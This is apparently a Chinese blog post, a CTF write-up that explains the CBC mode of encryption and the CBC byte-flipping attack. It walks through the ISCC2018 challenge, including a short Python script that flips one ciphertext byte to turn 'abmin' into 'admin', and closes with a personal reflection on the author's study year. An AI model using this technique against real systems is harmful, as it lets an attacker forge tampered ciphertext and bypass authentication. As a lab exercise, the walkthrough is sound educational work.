CBC工作于一个固定的比特组,称为一个块。本文我们把16字节作为一个块。
简单来说:CBC模式加密就是先将明文进行分组(常见16字节为一组),将每个明文分组与前一个密文分组进行XOR运算再通过key加密得到密文,其中第一组明文与初始化向量IV进行XOR运算得到第一组密文。
最后将IV与得到的密文拼接得到最终的密文。
从加密的方式我们不难发现各组都是有关联的,这是与ECB得不同之处,与ECB比较相对比较安全。
其解密过程:
理解了加密,解密也容易理解,就是加密得逆过程:从密文中提取出IV,然后分组,每组密文先用key解密,然后再与上一组得密文XOR运算得到明文,其中第一组用key解密之后再和IV XOR运算得到明文。
2、从CBC模式得原理我们不难发现 如果我们想改变解密后的某一明文,得到我们想得到得明文,如果是第一组,只需要改变IV,否则只需要改变上一组密文,就可以控制我们得到的明文。
如下图:
我们要改变1处想要得到特定明文,就可以修改2处的密文,这就是CBC字节翻转攻击的简单理解。
3、利用CBC字节翻转攻击的题目往往是修改密文,使密文修改后解密得到我们想得到的明文,绕过限制。
这类题目的源码都是差不多的,以下面源码为例分析一下:
源码的意思是,随机产生初始化向量IV
把输入的username序列化 然后加密 IV也加密
解密并验证 如果username为admin 则输出flag
但是后边限制了post的username 不能为admin
我们便可以用CBC字节翻转攻击绕过这种限制,也就是修改加密后username 使其解密后为admin 得到flag。
3、例题:(ISCC2018. Only admin can see flag)
根据提示在index.txt 看到源码:
审计代码,发现admin登陆才可以得到flag,但是又限制post的username不能为admin,很显然要用CBC字节翻转攻击,先用abmin 登陆,再根据攻击原理改为admin。
用username=abmin 登陆,bp抓包:
得到IV 和cipher。
根据CBC加密过程我们先将输入序列化并分组(16字节为一组):
s:2:{s:8:”username”;s:5:”abmin”;s:8:”password”;s:5:”abmin”;}
① s:2:{s:8:”userna
② me”;s:5:”abmin”;
③ s:8:”password”;s
④ :5:”abmin”;}
分析:我们的目是把abmin 改为admin 由分组可知b在第二组的第11位,所以我们要修改第一组的u 脚本实现:1
2
3
4
5
6
7import base64
nweCipher=''
cipher = 'bp抓到的cipher经过url解密后的值'
cipher = base64.b64decode(cipher) #先进行解密
newCipher = cipher[0:11] + chr(ord(cipher[11])^ord('b')^ord('d')) + cipher[12:] #XOR运算修改
print base64.b64encode(newCipher) #再进行加密
在bp中添加cookie IV和修改后的cipher(脚本后得到的经过url加密) 注意添加前把post清空 然后go
返回结果:
回应无法反序列化,把无法反序列化字符串解密,发现已经变成了admin,但是我们翻转的时候破坏了第一组,所以无法反序列化,那我们需要把IV修复。
1 | import base64 |
返回:
再cookie添加 生成的IV 和 修改的cipher 即可得到flag。
大一接近尾声了,这一年收获很多,认识了很多人,去了很多地方,当然也有很多不快,警校就是这样吧。自己很多方面还需要去完善,去改正,处理时间方面还是不够好,好好努力,做自己想做的事情。这段时间也挺多事,来的也比较突然的,心情起起落落的,也许我们需要去经历这么多,在突如其来的各种事情面前不知所措,希望都能安稳过去,真的很累!
学习web有一段时间了,还不能说是完全入门,多少也有些了解了,感觉很多东西很有意思,所以慢慢学。按照自己的计划学习自己喜欢的东西。
希望最坏的快点过去,安安稳稳学技术。祈祷^^
坚持写博客、坚持学习!
]]>